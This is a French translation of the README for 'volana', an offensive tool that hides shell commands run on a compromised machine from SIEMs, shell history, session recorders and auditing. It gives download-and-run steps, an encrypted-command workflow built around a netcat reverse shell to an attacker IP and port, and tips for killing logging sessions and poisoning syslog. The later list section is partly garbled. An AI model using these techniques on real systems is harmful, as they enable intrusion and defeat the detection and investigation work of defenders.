
🌒 Obfuscation de commandes shell pour éviter les systèmes de détection
Lors d'un pentest, un aspect important est d'être furtif. Pour cette raison, vous devriez effacer vos traces après votre passage. Néanmoins, de nombreuses infrastructures enregistrent les commandes et les envoient à un SIEM en temps réel, rendant le nettoyage ultérieur seul inutile.volana offre un moyen simple de cacher les commandes exécutées sur une machine compromise en fournissant son propre shell d'exécution (entrez votre commande, volana l'exécute pour vous). Ainsi, vous effacez vos traces PENDANT votre passage
Vous devez obtenir un shell interactif. (Trouvez un moyen de le lancer, vous êtes un hacker, c'est votre travail ! sinon). Ensuite, téléchargez-le sur la machine cible et lancez-le. C'est tout, vous pouvez maintenant taper la commande que vous voulez exécuter discrètement.
## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## Execute it
./volana
## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana » [command]
Mot-clé pour la console volana :
ring : active le mode anneau (ring mode) c'est-à-dire que chaque commande est lancée avec plusieurs autres pour couvrir les traces (des solutions qui surveillent les appels système)exit : quitte la console volanaImaginez que vous ayez un shell non interactif (webshell ou RCE aveugle), vous pouvez utiliser les sous-commandes encrypt et decrypt.
Auparavant, vous devez construire volana avec une clé de chiffrement intégrée.
Sur la machine de l'attaquant
## Build volana with encryption key
make build.volana-with-encryption
## Transfer it on TARGET (the unique detectable command)
## [...]
## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND
Copiez la commande chiffrée et exécutez-la avec votre RCE sur la machine cible
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)
Pourquoi ne pas simplement cacher la commande avec echo [command] | base64 ?
Et la décoder sur la cible avec echo [encoded_command] | base64 -d | bash
Parce que nous voulons être protégés contre les systèmes qui déclenchent des alertes pour l'utilisation de base64 ou qui recherchent du texte base64 dans les commandes. Aussi, nous voulons rendre l'investigation difficile et base64 n'est pas un véritable frein.
Gardez à l'esprit que volana n'est pas un miracle qui vous rendra totalement invisible. Son but est de rendre la détection d'intrusion et l'investigation plus difficiles.
Par détecté, nous entendons si nous sommes capables de déclencher une alerte si une certaine commande a été exécutée.
Seule la ligne de commande de lancement de volana sera capturée. 🧠 Cependant, en ajoutant un espace avant de l'exécuter, le comportement par défaut de bash est de ne pas la sauvegarder
.bash_history, ".zsh_history" etc ..opensnoop)script, screen -L, sexonthebash, ovh-ttyrec, etc..)
pkill -9 scriptscreen est un peu plus difficile à éviter, cependant il n'enregistre pas l'entrée (entrée secrète : stty -echo => éviter)volana avec chiffrement/var/log/auth.log)
sudo ou sulogger -p auth.info "No hacker is poisoning your syslog solution, don't worry")LD_PRELOAD pour journaliser
Désolé pour le titre racoleur, mais aucun argent ne sera fourni aux contributeurs. 🐛
Faites-moi savoir si vous avez trouvé :
volanavolana